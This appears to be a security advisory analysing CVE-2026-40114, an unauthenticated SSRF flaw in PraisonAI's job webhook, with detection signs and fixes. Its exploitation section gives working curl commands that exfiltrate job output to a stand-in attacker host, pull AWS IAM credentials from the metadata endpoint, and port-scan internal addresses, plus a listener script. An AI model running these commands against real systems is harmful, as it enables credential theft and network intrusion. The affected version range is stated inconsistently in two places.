CVE-2026-40114: 
Python vulnerability analysis and mitigation

CVE-2026-40114 is a Server-Side Request Forgery (SSRF) vulnerability in PraisonAI, a multi-agent teams system, affecting all versions prior to 4.5.128. The /api/v1/runs endpoint accepts an arbitrary webhook_url parameter in the request body with no URL validation; when a submitted job completes, the server makes an HTTP POST request to the attacker-supplied URL via httpx.AsyncClient. Because the Jobs API has no authentication by default, any network-reachable attacker can exploit this without credentials. The vulnerability was published on April 9, 2026, and patched in version 4.5.128. Feedly intelligence assigns a CVSS v3.1 base score of 10.0 (Critical), while the GitHub advisory rates it 7.2 (High) (GitHub Advisory, Red Hat CVE).

The root cause is CWE-918 (Server-Side Request Forgery), stemming from a complete absence of URL validation on the webhook_url field in the JobSubmitRequest Pydantic model (models.py:32). The field is a plain optional string with no scheme restriction, no host filtering, and no allowlist. The value is stored directly on the Job object and later used verbatim in executor.py:385-415 within httpx.AsyncClient.post(job.webhook_url, ...), triggered on both job success and failure paths. Compounding the issue, the FastAPI application is created with CORS allowing all origins (["*"]) and no authentication middleware on the jobs router, meaning exploitation requires zero privileges and no user interaction (GitHub Advisory).

An unauthenticated remote attacker can force the PraisonAI server to send HTTP POST requests to any host and port reachable from the server's network, including cloud metadata services (AWS 169.254.169.254, GCP metadata.google.internal), internal APIs, databases (e.g., PostgreSQL on port 5432, Redis on port 6379), and Elasticsearch clusters. This enables credential theft from cloud metadata endpoints, internal network reconnaissance via timing-based port scanning, and exfiltration of sensitive agent output data (included in the webhook payload) to attacker-controlled servers. The scope change (S:C) in the CVSS vector reflects that the impact extends beyond the vulnerable PraisonAI component to other internal systems and cloud infrastructure (GitHub Advisory).

A proof-of-concept exploit consisting of concrete curl commands is publicly available in the GitHub Security Advisory, rated high confidence by Feedly threat intelligence. The PoC demonstrates targeting the AWS metadata endpoint (169.254.169.254) and performing internal port scanning with no authentication required. There is currently no evidence of in-the-wild exploitation or threat actor attribution. The EPSS score is 0.000270 (low probability of exploitation in the near term), and the vulnerability is not listed in the CISA KEV catalog as of the time of this report (GitHub Advisory).

1. Reconnaissance: Identify internet-facing or network-accessible PraisonAI instances running versions ≤ 4.5.124 by scanning for the default port (8005) or checking exposed API endpoints such as /api/v1/runs.
2. Set up a listener: Start an attacker-controlled HTTP server to receive exfiltrated data:

python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(json.dumps(json.loads(body), indent=2))
        self.send_response(200)
        self.end_headers()
HTTPServer(('0.0.0.0', 9999), Handler).serve_forever()
"

3. Submit a job with a malicious webhook_url: Send an unauthenticated POST request to the /api/v1/runs endpoint pointing to the attacker's server:

curl -X POST http://<target>:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  -d '{"prompt": "say hello", "webhook_url": "http://attacker.example.com:9999/steal"}'

4. Target cloud metadata services: Redirect the server's outbound request to the AWS IMDSv1 endpoint to retrieve IAM credentials:

curl -X POST http://<target>:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  -d '{"prompt": "say hello", "webhook_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

5. Perform internal port scanning: Submit multiple jobs with webhook_url values targeting internal hosts/ports and infer open services from job timing or error patterns:

for port in 80 443 5432 6379 8080 9200; do
  curl -s -X POST http://<target>:8005/api/v1/runs \
    -H 'Content-Type: application/json' \
    -d "{\"prompt\": \"say hello\", \"webhook_url\": \"http://10.0.0.1:${port}/\"}"
done

6. Collect exfiltrated data: When each job completes, the PraisonAI server POSTs the full job result payload (including agent output, status, and error messages) to the attacker-controlled URL (GitHub Advisory).

• Network: Outbound HTTP POST requests from the PraisonAI server to unexpected external IPs or domains, particularly to cloud metadata IP ranges (169.254.169.254, metadata.google.internal); outbound connections to unusual ports (5432, 6379, 9200) on internal RFC-1918 address ranges.
• Logs: PraisonAI application logs showing _send_webhook calls to non-whitelisted or internal URLs; httpx connection errors or timeouts to internal hosts logged in the executor; repeated POST requests to /api/v1/runs from a single source IP with varying webhook_url values.
• Application Behavior: Jobs submitted with webhook_url values containing IP literals (especially 169.254.x.x, 10.x.x.x, 172.16-31.x.x, 192.168.x.x) or non-standard ports; rapid sequential job submissions with incrementing port numbers in the webhook_url (indicative of port scanning).
• Network Traffic: Unexpected JSON POST payloads containing job_id, status, result, and error fields originating from the PraisonAI server to external or internal destinations not part of normal operations (GitHub Advisory).

Primary remediation: Upgrade PraisonAI to version 4.5.128 or later, which fixes this vulnerability (GitHub Advisory). Configuration workarounds (if immediate upgrade is not possible): implement network egress filtering to block outbound HTTP requests from the PraisonAI server to RFC-1918 private IP ranges and cloud metadata endpoints; place the PraisonAI server behind a network firewall or proxy that enforces an allowlist of permitted outbound destinations; and add authentication middleware to the /api/v1/runs endpoint to prevent unauthenticated access. The advisory also recommends adding Pydantic field_validator logic in models.py to restrict webhook_url to http/https schemes and block private/loopback/link-local IPs, plus DNS rebinding protection in executor.py by resolving hostnames and validating the resulting IP before making the outbound request.

A Bluesky post from the cyberhub.blog account referenced the vulnerability in April 2026, indicating some community awareness. No significant vendor statements beyond the GitHub Security Advisory, major media coverage, or notable researcher commentary have been identified for this CVE (GitHub Advisory).